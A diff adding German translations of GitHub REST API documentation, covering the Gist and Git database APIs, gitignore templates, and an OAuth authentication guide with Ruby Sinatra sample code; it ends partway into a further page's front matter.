+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: c51d9275950bbf303caa1a03344ba8402618d65b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131445'
+---
+## Informationen zur Gist-API
+
+Mit der Gist-API kannst du Gists anzeigen und ändern. Weitere Informationen zu Gists findest du unter [Bearbeiten und Freigeben von Inhalten mit Gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists).
+
+### Authentifizierung
+
+Du kannst öffentliche Gists {% ifversion ghae or ghes %}lesen und sie für anonyme Benutzer ohne ein Token{% else %}anonym erstellen. Aber du musst bei GitHub angemeldet sein, um Gists erstellen zu können.{% endif %} Um Gists im Auftrag eines Benutzers zu lesen oder zu schreiben, benötigst du den OAuth-Bereich für Gist und ein Token. Weitere Informationen findest du unter [Bereiche für OAuth-Apps](/developers/apps/scopes-for-oauth-apps).
+
+<!-- When an OAuth client does not have the gists scope, the API will return a 404 "Not Found" response regardless of the validity of the credentials. The API will return a 401 "Bad credentials" response if the gists scope was given to the application but the credentials are invalid. -->
+
+### Abschneiden
+
+Die Gist-API bietet bis zu einem Megabyte an Inhalten für jede Datei im Gist. Jede Datei, die für ein Gist über die API zurückgegeben wird, hat einen Schlüssel namens `truncated`. Wenn `truncated` gleich `true` ist, ist die Datei zu groß, sodass nur ein Teil des Inhalts in `content` zurückgegeben wurde.
+
+Wenn du den gesamten Inhalt der Datei benötigst, kannst du die Anforderung `GET` an die durch `raw_url` angegebene URL stellen. Beachte, dass du bei Dateien mit einer Größe von mehr als 10 Megabyte das Gist über die von `git_pull_url` angegebene URL klonen musst.
+
+Außerdem wird nicht nur der Inhalt einer bestimmten Datei abgeschnitten, sondern die gesamte Dateiliste, wenn die Gesamtanzahl 300 Dateien überschreitet. Wenn der Schlüssel auf oberster Ebene `truncated` gleich `true` ist, werden nur die ersten 300 Dateien in der Dateiliste angezeigt. Wenn du alle Dateien des Gists abrufen möchtest, musst du das Gist über die von `git_pull_url` angegebene URL klonen.
+
+### Benutzerdefinierte Medientypen für Gists
+
+Dies sind die unterstützten Medientypen zum Abrufen von Gist-Inhalten.
+
+    application/vnd.github.VERSION.raw
+    application/vnd.github.VERSION.base64
+
+Weitere Informationen findest du unter [Medientypen](/rest/overview/media-types).
diff --git a/translations/de-DE/content/rest/gists/index.md b/translations/de-DE/content/rest/gists/index.md
new file mode 100644
index 0000000000..0a5f7ae114
--- /dev/null
+++ b/translations/de-DE/content/rest/gists/index.md
@@ -0,0 +1,25 @@
+---
+title: Gists
+intro: 'Mit der Gists-API kann der autorisierte Benutzer die öffentlichen Gists zu {% data variables.product.product_name %} auflisten, erstellen, aktualisieren und löschen.'
+redirect_from:
+  - /v3/gists
+  - /rest/reference/gists
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /gists
+  - /comments
+ms.openlocfilehash: 72e59805b5ecd2813e864d2a3e882557341f5aff
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066146'
+---
+
diff --git a/translations/de-DE/content/rest/git/blobs.md b/translations/de-DE/content/rest/git/blobs.md
new file mode 100644
index 0000000000..8a2b140e2c
--- /dev/null
+++ b/translations/de-DE/content/rest/git/blobs.md
@@ -0,0 +1,32 @@
+---
+title: Git-Blobs
+shortTitle: Blobs
+allowTitleToDifferFromFilename: true
+intro: Mit der Git-Blob-API kannst du einen Git-Blob ( Binary Large Object) erstellen und abrufen. Dieser Objekttyp wird zum Speichern des Inhalts der einzelnen Dateien in einem Repository verwendet.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: e815b7d7ea3d63ced4c486605891a10dcb870176
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060618'
+---
+## Informationen zur Git-Blob-API
+
+Ein Git-Blob (Binary Large Object) ist der Objekttyp, der zum Speichern des Inhalts jeder Datei in einem Repository verwendet wird. Der SHA-1-Hash der Datei wird berechnet und im Blobobjekt gespeichert. Diese Endpunkte ermöglichen dir das Lesen und Schreiben von [Blobobjekten](https://git-scm.com/book/en/v1/Git-Internals-Git-Objects) in deine Git-Datenbank auf {% data variables.product.product_name %}. Blobs nutzen [diese benutzerdefinierten Medientypen](#custom-media-types-for-blobs). Weitere Informationen zur Verwendung von Medientypen in der API findest du [hier](/rest/overview/media-types).
+
+### Benutzerdefinierte Medientypen für Blobs
+
+Dies sind die unterstützten Medientypen für Blobs.
+
+    application/json
+    application/vnd.github.VERSION.raw
+
+Weitere Informationen findest du unter [Medientypen](/rest/overview/media-types).
diff --git a/translations/de-DE/content/rest/git/commits.md b/translations/de-DE/content/rest/git/commits.md
new file mode 100644
index 0000000000..ccd4754dde
--- /dev/null
+++ b/translations/de-DE/content/rest/git/commits.md
@@ -0,0 +1,23 @@
+---
+title: Git-Commits
+shortTitle: Commits
+allowTitleToDifferFromFilename: true
+intro: 'Die Git-Commits-API ermöglicht es dir, Commitobjekte in deiner Git-Datenbank auf {% data variables.product.product_name %} zu lesen und in sie zu schreiben.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 2b0f1e07134b67be6c00f8bf1c65d9ccf0c2aac5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147063482'
+---
+## Informationen zur API für Git-Commits
+
+Ein Git-Commit ist eine Momentaufnahme der Hierarchie ([Git-Struktur](/rest/reference/git#trees)) und der Inhalte der Dateien ([Git-Blob](/rest/reference/git#blobs)) in einem Git-Repository. Diese Endpunkte ermöglichen dir das Lesen und Schreiben von [Commitobjekten](https://git-scm.com/book/en/v1/Git-Internals-Git-Objects#Commit-Objects) in deine Git-Datenbank auf {% data variables.product.product_name %}.
diff --git a/translations/de-DE/content/rest/git/index.md b/translations/de-DE/content/rest/git/index.md
new file mode 100644
index 0000000000..42a543ce10
--- /dev/null
+++ b/translations/de-DE/content/rest/git/index.md
@@ -0,0 +1,29 @@
+---
+title: Git-Datenbank
+intro: 'Die Git-Datenbank-API ermöglicht Lese- und Schreibvorgänge für unformatierte Git-Objekte in deiner Git-Datenbank auf {% data variables.product.product_name %} und zum Auflisten und Aktualisieren von Git-Verweisen (Branchheads und Tags).'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /v3/git
+  - /rest/reference/git
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /blobs
+  - /commits
+  - /refs
+  - /tags
+  - /trees
+ms.openlocfilehash: a3f498f0334712d268e80a3d25c9147b62a197da
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882279'
+---
+Die Git-Datenbank-API ermöglicht Lese- und Schreibzugriff auf unformatierte Git-Objekte in deiner Git-Datenbank auf {% data variables.product.product_name %} und zum Auflisten und Aktualisieren deiner Verweise (Branchheads und Tags). Weitere Informationen zur Verwendung der Git-Datenbank-API findest du unter [Erste Schritte mit der Git-Daten-API](/rest/guides/getting-started-with-the-git-database-api).
diff --git a/translations/de-DE/content/rest/git/refs.md b/translations/de-DE/content/rest/git/refs.md
new file mode 100644
index 0000000000..6520290281
--- /dev/null
+++ b/translations/de-DE/content/rest/git/refs.md
@@ -0,0 +1,23 @@
+---
+title: Git-Verweise
+shortTitle: References
+intro: 'Die Git-Verweise-API ermöglicht dir auf {% data variables.product.product_name %} das Lesen und Schreiben von Verweisen aus deiner und in deine Git-Datenbank.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 60f76710e14a754f9508f0919c94b9fbe57d21e1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147093054'
+---
+## Informationen zur Git-Verweise-API
+
+Ein Git-Verweis (`git ref`) ist eine Datei, die einen Git-SHA-1-Commithash enthält. Wenn du auf einen Git-Commit verweist, kannst du anstelle des Hashs den Git-Verweis verwenden, dessen Name leichter zu merken ist. Der Git-Verweis kann neu geschrieben werden, um auf einen neuen Commit zu verweisen. Ein Branch ist ein Git-Verweis, der den neuen Git-Commithash speichert. Diese Endpunkte ermöglichen dir das Lesen und Schreiben von [Verweisen](https://git-scm.com/book/en/v1/Git-Internals-Git-References) in deine Git-Datenbank auf {% data variables.product.product_name %}.
diff --git a/translations/de-DE/content/rest/git/tags.md b/translations/de-DE/content/rest/git/tags.md
new file mode 100644
index 0000000000..7cd6447479
--- /dev/null
+++ b/translations/de-DE/content/rest/git/tags.md
@@ -0,0 +1,23 @@
+---
+title: Git-Tags
+shortTitle: Tags
+allowTitleToDifferFromFilename: true
+intro: 'Die Git-Tags-API ermöglicht dir auf {% data variables.product.product_name %} das Lesen und Schreiben von Tagobjekten aus deiner und in deine Git-Datenbank.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: d0ba994be564467d3b84744e6618417b927828aa
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131398'
+---
+## Informationen zur API für Git-Tags
+
+Ein Git-Tag ähnelt einem [Git-Verweis](/rest/reference/git#refs), doch der Git-Commit, auf den es verweist, ändert sich nie. Git-Tags sind hilfreich, wenn du auf bestimmte Releases verweisen möchtest. Diese Endpunkte ermöglichen dir das Lesen und Schreiben von [Tagobjekten](https://git-scm.com/book/en/v1/Git-Internals-Git-References#Tags) in deine Git-Datenbank auf {% data variables.product.product_name %}. Die API für Git-Tags unterstützt nur [annotierte Tagobjekte](https://git-scm.com/book/en/v1/Git-Internals-Git-References#Tags), keine Lightweight-Tags.
diff --git a/translations/de-DE/content/rest/git/trees.md b/translations/de-DE/content/rest/git/trees.md
new file mode 100644
index 0000000000..0513ac5742
--- /dev/null
+++ b/translations/de-DE/content/rest/git/trees.md
@@ -0,0 +1,23 @@
+---
+title: Git-Strukturen
+shortTitle: Trees
+allowTitleToDifferFromFilename: true
+intro: 'Die Git-Strukturen-API ermöglicht dir auf {% data variables.product.product_name %} das Lesen und Schreiben von Strukturobjekten aus deiner und in deine Git-Datenbank.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 8c13e6c74f334152d67433ab9a90f7dac663b3d6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884469'
+---
+## Informationen zur Git-Struktur-API
+
+Ein Git-Strukturobjekt erstellt die Hierarchie zwischen Dateien in einem Git-Repository. Du kannst das Git-Strukturobjekt verwenden, um die Beziehung zwischen Verzeichnissen und den darin enthaltenen Dateien zu erstellen. Diese Endpunkte ermöglichen dir das Lesen und Schreiben von [Strukturobjekten](https://git-scm.com/book/en/v1/Git-Internals-Git-Objects#Tree-Objects) in deine Git-Datenbank auf {% data variables.product.product_name %}.
diff --git a/translations/de-DE/content/rest/gitignore.md b/translations/de-DE/content/rest/gitignore.md
new file mode 100644
index 0000000000..374cb4bb75
--- /dev/null
+++ b/translations/de-DE/content/rest/gitignore.md
@@ -0,0 +1,26 @@
+---
+title: Gitignore
+intro: The Gitignore API fetches `.gitignore` templates that can be used to ignore files and directories.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/gitignore
+---
+
+## About the Gitignore API
+
+When you create a new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} via the API, you can specify a [.gitignore template](/github/getting-started-with-github/ignoring-files) to apply to the repository upon creation. The .gitignore templates API lists and fetches templates from the {% data variables.product.product_name %} [.gitignore repository](https://github.com/github/gitignore).
+
+### Custom media types for gitignore
+
+You can use this custom media type when getting a gitignore template.
+
+    application/vnd.github.VERSION.raw
+
+For more information, see "[Media types](/rest/overview/media-types)."
diff --git a/translations/de-DE/content/rest/guides/basics-of-authentication.md b/translations/de-DE/content/rest/guides/basics-of-authentication.md
new file mode 100644
index 0000000000..0b60104e6a
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/basics-of-authentication.md
@@ -0,0 +1,320 @@
+---
+title: Grundlagen der Authentifizierung
+intro: Hier erfährst du anhand einiger Beispiele mehr über die verschiedenen Möglichkeiten der Authentifizierung.
+redirect_from:
+  - /guides/basics-of-authentication
+  - /v3/guides/basics-of-authentication
+  - /rest/basics-of-authentication
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+ms.openlocfilehash: 3e2796e83047f4e8bb6b7e9a503eee6dac63f019
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131386'
+---
+In diesem Abschnitt werden die Grundlagen der Authentifizierung beschrieben. Dabei wird (mithilfe von [Sinatra][Sinatra]) ein Ruby-Server erstellt, der den [Webflow][webflow] einer Anwendung auf unterschiedliche Weise implementiert.
+
+{% tip %}
+
+Du kannst den vollständigen Quellcode für dieses Projekt [aus dem Repository mit den Plattformbeispielen](https://github.com/github/platform-samples/tree/master/api/) herunterladen.
+
+{% endtip %}
+
+## Registrieren deiner App
+
+Zunächst musst du [Deine Anwendung registrieren][new oauth app]. Jeder registrierten OAuth-Anwendung wird eine eindeutige Client-ID und ein geheimer Clientschlüssel zugewiesen.
+Der geheime Clientschlüssel darf nicht mit anderen geteilt werden! Dies gilt auch für das Einchecken der Zeichenfolge in deinem Repository.
+
+Dabei kannst du mit Ausnahme der **Rückruf-URL für die Autorisierung** sämtliche Informationen eintragen. Dies ist mit Abstand das wichtigste Element bei der Einrichtung deiner Anwendung. {% data variables.product.product_name %} leitet Benutzer*innen nach der erfolgreichen Authentifizierung an diese Rückruf-URL.
+
+Da wir einen regulären Sinatra-Server ausführen, wird der Speicherort der lokalen Instanz auf `http://127.0.0.1:4567` festgelegt. Hier wird `http://127.0.0.1:4567/callback` als Rückruf-URL angegeben.
+
+## Akzeptieren der Benutzerautorisierung
+
+{% data reusables.apps.deprecating_auth_with_query_parameters %}
+
+Im nächsten Schritt werden die Serverinformationen angegeben. Erstelle eine Datei _server.rb_, und füge die folgenden Angaben in diese Datei ein:
+
+``` ruby
+require 'sinatra'
+require 'rest-client'
+require 'json'
+
+CLIENT_ID = ENV['GH_BASIC_CLIENT_ID']
+CLIENT_SECRET = ENV['GH_BASIC_SECRET_ID']
+
+get '/' do
+  erb :index, :locals => {:client_id => CLIENT_ID}
+end
+```
+
+Deine Client-ID und die geheimen Clientschlüssel stammen von der [Konfigurationsseite deiner Anwendung][app settings].{% ifversion fpt or ghec %} Du solltest diese Werte **niemals** auf {% data variables.product.product_name %} oder an einem anderen öffentlichen Speicherort speichern.{% endif %} Stattdessen sollten diese Werte wie hier gezeigt als [Umgebungsvariablen][about env vars] gespeichert werden.
+
+Füge nun in _views/index.erb_ diesen Inhalt ein:
+
+``` erb
+<html>
+  <head>
+  </head>
+  <body>
+    <p>
+      Well, hello there!
+    </p>
+    <p>
+      We're going to now talk to the GitHub API. Ready?
+      <a href="https://github.com/login/oauth/authorize?scope=user:email&client_id=<%= client_id %>">Click here</a> to begin!
+    </p>
+    <p>
+      If that link doesn't work, remember to provide your own <a href="/apps/building-oauth-apps/authorizing-oauth-apps/">Client ID</a>!
+    </p>
+  </body>
+</html>
+```
+
+(Wenn du nicht mit der Funktionsweise von Sinatra vertraut bist, solltest du den [Sinatra-Leitfaden][Sinatra guide] lesen.)
+
+Beachte außerdem, dass die URL den `scope`-Abfrageparameter verwendet, um die von der Anwendung angeforderten [Bereiche][oauth scopes] zu definieren. Für diese Anwendung wird der Bereich `user:email` zum Lesen privater E-Mail-Adressen angefordert.
+
+Navigiere in deinem Browser zu `http://127.0.0.1:4567`. Wenn du auf den Link klickst, solltest du zu {% data variables.product.product_name %} geleitet werden. Dort sollte ein Dialogfeld angezeigt werden, das dem folgenden ähnelt: ![GitHub-OAuth-Eingabeaufforderung](/assets/images/oauth_prompt.png)
+
+Wenn du dir selbst vertraust, klicke auf **App autorisieren**. Oje! Sinatra gibt einen `404`-Fehler aus. Was ist los?
+
+Erinnerst du dich, dass wir als Rückruf-URL `callback` angegeben haben? Dabei haben wir keine entsprechende Route festgelegt. {% data variables.product.product_name %} weiß also nicht, wohin Benutzer*innen geleitet werden sollen, nachdem sie die App autorisiert haben. Im Folgenden wird dieses Problem behoben.
+
+### Angeben eines Rückrufwerts
+
+Füge in _server.rb_ eine Route für den Rückruf hinzu:
+
+``` ruby
+get '/callback' do
+  # get temporary GitHub code...
+  session_code = request.env['rack.request.query_hash']['code']
+
+  # ... and POST it back to GitHub
+  result = RestClient.post('https://github.com/login/oauth/access_token',
+                          {:client_id => CLIENT_ID,
+                           :client_secret => CLIENT_SECRET,
+                           :code => session_code},
+                           :accept => :json)
+
+  # extract the token and granted scopes
+  access_token = JSON.parse(result)['access_token']
+end
+```
+
+Nach einer erfolgreichen App-Authentifizierung stellt {% data variables.product.product_name %} einen temporären `code`-Wert bereit.
+Dieser Code muss per `POST` an {% data variables.product.product_name %} zurückgegeben werden und gegen ein Zugriffstoken (`access_token`) ausgetauscht werden.
+Zur Vereinfachung dieser GET- und POST-HTTP-Anforderungen verwenden wir [rest-client][REST Client].
+Beachte, dass du wahrscheinlich niemals über REST auf die API zugreifen wirst. In der Praxis solltest du vermutlich eher [eine Bibliothek in deiner bevorzugten Sprache][libraries] verwenden.
+
+### Überprüfen der gewährten Bereiche
+
+Benutzer*innen können die angeforderten Bereiche bearbeiten, indem sie die URL direkt ändern. Dadurch kann deine Anwendung einen geringeren Umfang an Zugriffsberechtigungen erhalten, als du ursprünglich angefordert hattest. Bevor du Anforderungen mit dem Token erstellst, solltest du überprüfen, welche Bereiche der oder dem Benutzer*in für das Token gewährt wurden. Weitere Informationen zu angeforderten und gewährten Bereichen findest du unter [Scopes for OAuth Apps](/developers/apps/scopes-for-oauth-apps#requested-scopes-and-granted-scopes) („Bereiche für OAuth-Apps“).
+
+Die gewährten Bereiche werden beim Austausch eines Tokens als Teil der Antwort zurückgegeben.
+
+``` ruby
+get '/callback' do
+  # ...
+  # Get the access_token using the code sample above
+  # ...
+
+  # check if we were granted user:email scope
+  scopes = JSON.parse(result)['scope'].split(',')
+  has_user_email_scope = scopes.include? 'user:email'
+end
+```
+
+In unserer Anwendung wird mithilfe von `scopes.include?` überprüft, ob der Bereich `user:email` gewährt wurde, der zum Abrufen der privaten E-Mail-Adressen der authentifizierten Benutzer*innen erforderlich ist. Wenn die Anwendung weitere Bereiche angefordert hätte, hätten wir auch diese Bereiche überprüft.
+
+Da zudem eine hierarchische Beziehung zwischen Bereichen besteht, solltest du überprüfen, ob dir die niedrigste Stufe der erforderlichen Bereiche gewährt wurde. Wenn die Anwendung z. B. den Bereich `user` angefordert hat, wurde ihr möglicherweise nur der Bereich `user:email` zugewiesen. In diesem Fall wäre der Anwendung zwar nicht der angeforderte Bereich gewährt worden, der gewährte Bereich wäre jedoch trotzdem ausreichend.
+
+Da Benutzer*innen die Bereiche zwischen deiner Überprüfung und der eigentlichen Anforderung noch ändern können, ist es nicht ausreichend, die Bereiche lediglich vor dem Ausführen von Anforderungen zu überprüfen.
+Denn bei einer solchen Änderung tritt bei API-Aufrufen, bei denen du eine erfolgreiche Ausführung erwartet hast, möglicherweise ein Fehler mit dem Status `404` bzw. `401` auf, oder du erhältst eine andere Teilmenge an Informationen als erwartet.
+
+Damit diese Situation vermieden wird, enthalten alle API-Antworten auf Anforderungen mit gültigen Token auch einen [`X-OAuth-Scopes`-Header][oauth scopes].
+In diesem Header sind die Bereiche des Tokens aufgeführt, das für die Anforderung verwendet wurde. Darüber hinaus bietet die OAuth-Anwendungs-API einen Endpunkt, mit dem {% ifversion fpt or ghes or ghec %} [ein Token auf Gültigkeit](/rest/reference/apps#check-a-token){% else %}[ein Token auf Gültigkeit](/rest/reference/apps#check-an-authorization) überprüfen kann{% endif %}.
+Verwende diese Informationen, um Änderungen an Tokenbereichen zu ermitteln, und informiere deine Benutzer*innen über Änderungen bei den verfügbaren Anwendungsfunktionen.
+
+### Ausführen von authentifizierten Anforderungen
+
+Schließlich kannst du mit diesem Zugriffstoken authentifizierte Anforderungen als angemeldete*r Benutzer*in vornehmen:
+
+``` ruby
+# fetch user information
+auth_result = JSON.parse(RestClient.get('{% data variables.product.api_url_code %}/user',
+                                        {:params => {:access_token => access_token}}))
+
+# if the user authorized it, fetch private emails
+if has_user_email_scope
+  auth_result['private_emails'] =
+    JSON.parse(RestClient.get('{% data variables.product.api_url_code %}/user/emails',
+                              {:params => {:access_token => access_token}}))
+end
+
+erb :basic, :locals => auth_result
+```
+
+Mit den Ergebnissen kannst du beliebige Schritte ausführen. In diesem Fall setzen wir unsere Arbeit direkt mit _basic.erb_ fort:
+
+``` erb
+<p>Hello, <%= login %>!</p>
+<p>
+  <% if !email.nil? && !email.empty? %> It looks like your public email address is <%= email %>.
+  <% else %> It looks like you don't have a public email. That's cool.
+  <% end %>
+</p>
+<p>
+  <% if defined? private_emails %>
+  With your permission, we were also able to dig up your private email addresses:
+  <%= private_emails.map{ |private_email_address| private_email_address["email"] }.join(', ') %>
+  <% else %>
+  Also, you're a bit secretive about your private email addresses.
+  <% end %>
+</p>
+```
+
+## Implementieren einer „persistenten“ Authentifizierung
+
+Es wäre sehr ungünstig, wenn Benutzer*innen sich jedes Mal bei der App anmelden müssten, wenn sie auf die Webseite zugreifen möchten. Versuche z. B., direkt zu `http://127.0.0.1:4567/basic` zu navigieren. Du erhältst eine Fehlermeldung.
+
+Was wäre, wenn der gesamte „Hier klicken“-Vorgang umgangen werden könnte? Und stattdessen einfach festgelegt __ wird, dass Benutzer*innen auf die Anwendung zugreifen können sollen, solange sie bei {% data variables.product.product_name %} angemeldet sind? _Genau das werden wir jetzt umsetzen_.
+
+Unser kleiner Server oben ist ein ziemlich einfaches Beispiel. Für einen intelligenten Authentifizierungsprozess verwenden wir nun Sitzungen, um Token zu speichern.
+Dadurch wird die Authentifizierung für Benutzer*innen transparent.
+
+Da die Bereiche innerhalb der Sitzung beibehalten werden, muss zudem eine Vorgehensweise für Situationen definiert werden, in denen Benutzer*innen die Bereiche nach der Überprüfung aktualisieren oder das Token widerrufen. Dazu wird ein `rescue`-Block verwendet, und es wird überprüft, ob der erste API-Aufruf erfolgreich ist. Dadurch wird sichergestellt, dass das Token noch gültig ist. Danach wird anhand des `X-OAuth-Scopes`-Antwortheaders überprüft, ob der `user:email`-Bereich durch die oder den Benutzer*in widerrufen wurde.
+
+Erstelle eine Datei _advanced_server.rb_, und füge diese Zeilen in der Datei ein:
+
+``` ruby
+require 'sinatra'
+require 'rest_client'
+require 'json'
+
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below
+# if ENV['GITHUB_CLIENT_ID'] && ENV['GITHUB_CLIENT_SECRET']
+#  CLIENT_ID        = ENV['GITHUB_CLIENT_ID']
+#  CLIENT_SECRET    = ENV['GITHUB_CLIENT_SECRET']
+# end
+
+CLIENT_ID = ENV['GH_BASIC_CLIENT_ID']
+CLIENT_SECRET = ENV['GH_BASIC_SECRET_ID']
+
+use Rack::Session::Pool, :cookie_only => false
+
+def authenticated?
+  session[:access_token]
+end
+
+def authenticate!
+  erb :index, :locals => {:client_id => CLIENT_ID}
+end
+
+get '/' do
+  if !authenticated?
+    authenticate!
+  else
+    access_token = session[:access_token]
+    scopes = []
+
+    begin
+      auth_result = RestClient.get('{% data variables.product.api_url_code %}/user',
+                                   {:params => {:access_token => access_token},
+                                    :accept => :json})
+    rescue => e
+      # request didn't succeed because the token was revoked so we
+      # invalidate the token stored in the session and render the
+      # index page so that the user can start the OAuth flow again
+
+      session[:access_token] = nil
+      return authenticate!
+    end
+
+    # the request succeeded, so we check the list of current scopes
+    if auth_result.headers.include? :x_oauth_scopes
+      scopes = auth_result.headers[:x_oauth_scopes].split(', ')
+    end
+
+    auth_result = JSON.parse(auth_result)
+
+    if scopes.include? 'user:email'
+      auth_result['private_emails'] =
+        JSON.parse(RestClient.get('{% data variables.product.api_url_code %}/user/emails',
+                       {:params => {:access_token => access_token},
+                        :accept => :json}))
+    end
+
+    erb :advanced, :locals => auth_result
+  end
+end
+
+get '/callback' do
+  session_code = request.env['rack.request.query_hash']['code']
+
+  result = RestClient.post('https://github.com/login/oauth/access_token',
+                          {:client_id => CLIENT_ID,
+                           :client_secret => CLIENT_SECRET,
+                           :code => session_code},
+                           :accept => :json)
+
+  session[:access_token] = JSON.parse(result)['access_token']
+
+  redirect '/'
+end
+```
+
+Der Code sollte Ihnen im Wesentlichen vertraut erscheinen. Es wird z. B. weiterhin `RestClient.get` für den Aufruf der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API verwendet, und die Ergebnisse werden wie zuvor für die Anzeige in einer ERB-Vorlage (in diesem Fall `advanced.erb`) übergeben.
+
+Außerdem wird nun mithilfe der `authenticated?`-Methode überprüft, ob die oder der Benutzer*in bereits authentifiziert ist. Falls nicht, wird die Methode `authenticate!` aufgerufen, mit der der OAuth-Flow ausgeführt und die Sitzung mit den gewährten Bereichen und Token aktualisiert wird.
+
+Als Nächstes erstellst du in _views_ die Datei _advanced.erb_ und fügst dieses Markup ein:
+
+``` erb
+<html>
+  <head>
+  </head>
+  <body>
+    <p>Well, well, well, <%= login %>!</p>
+    <p>
+      <% if !email.empty? %> It looks like your public email address is <%= email %>.
+      <% else %> It looks like you don't have a public email. That's cool.
+      <% end %>
+    </p>
+    <p>
+      <% if defined? private_emails %>
+      With your permission, we were also able to dig up your private email addresses:
+      <%= private_emails.map{ |private_email_address| private_email_address["email"] }.join(', ') %>
+      <% else %>
+      Also, you're a bit secretive about your private email addresses.
+      <% end %>
+    </p>
+  </body>
+</html>
+```
+
+Rufe an der Befehlszeile `ruby advanced_server.rb` auf, um deinen Server an Port `4567` zu starten. Dies ist derselbe Port, den wir bereits bei der einfachen Sinatra-App verwendet haben.
+Wenn du zu `http://127.0.0.1:4567` navigierst, ruft die App `authenticate!` auf, um dich zu `/callback` umzuleiten. `/callback` leitet dich dann erneut zu `/` und zeigt _advanced.erb_ an, da du bereits authentifiziert wurdest.
+
+Dieses Roundtriprouting könnte erheblich vereinfacht werden, indem die Rückruf-URL in {% data variables.product.product_name %} ganz einfach in `/` geändert wird. Da _server.rb_ und _advanced.rb_ dieselbe Rückruf-URL verwenden, sind diese zusätzlichen Schritte jedoch erforderlich.
+
+Wäre diese Anwendung zudem niemals für den Zugriff auf die {% data variables.product.product_name %}-Daten autorisiert worden, wäre als Warnhinweis dasselbe Bestätigungsdialogfeld angezeigt worden wie zuvor.
+
+[webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/
+[Sinatra]: http://www.sinatrarb.com/
+[about env vars]: http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables
+[Sinatra guide]: https://github.com/sinatra/sinatra-book/blob/master/book/Introduction.markdown#hello-world-application
+[REST Client]: https://github.com/archiloque/rest-client
+[libraries]: /libraries/
+[oauth scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
+[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/basics-of-authentication
+[new oauth app]: https://github.com/settings/applications/new
+[app settings]: https://github.com/settings/developers
diff --git a/translations/de-DE/content/rest/guides/best-practices-for-integrators.md b/translations/de-DE/content/rest/guides/best-practices-for-integrators.md
new file mode 100644
index 0000000000..4b3638fb52
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/best-practices-for-integrators.md
@@ -0,0 +1,171 @@
+---
+title: Bewährte Methoden für Integratoren
+intro: 'Erstelle eine App, die zuverlässig mit der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API interagiert und deine Benutzer*innen begeistert.'
+redirect_from:
+  - /guides/best-practices-for-integrators
+  - /v3/guides/best-practices-for-integrators
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: Integrator best practices
+ms.openlocfilehash: 76e0a405394529bb8b40b0a0af10d5e19fbbf3a5
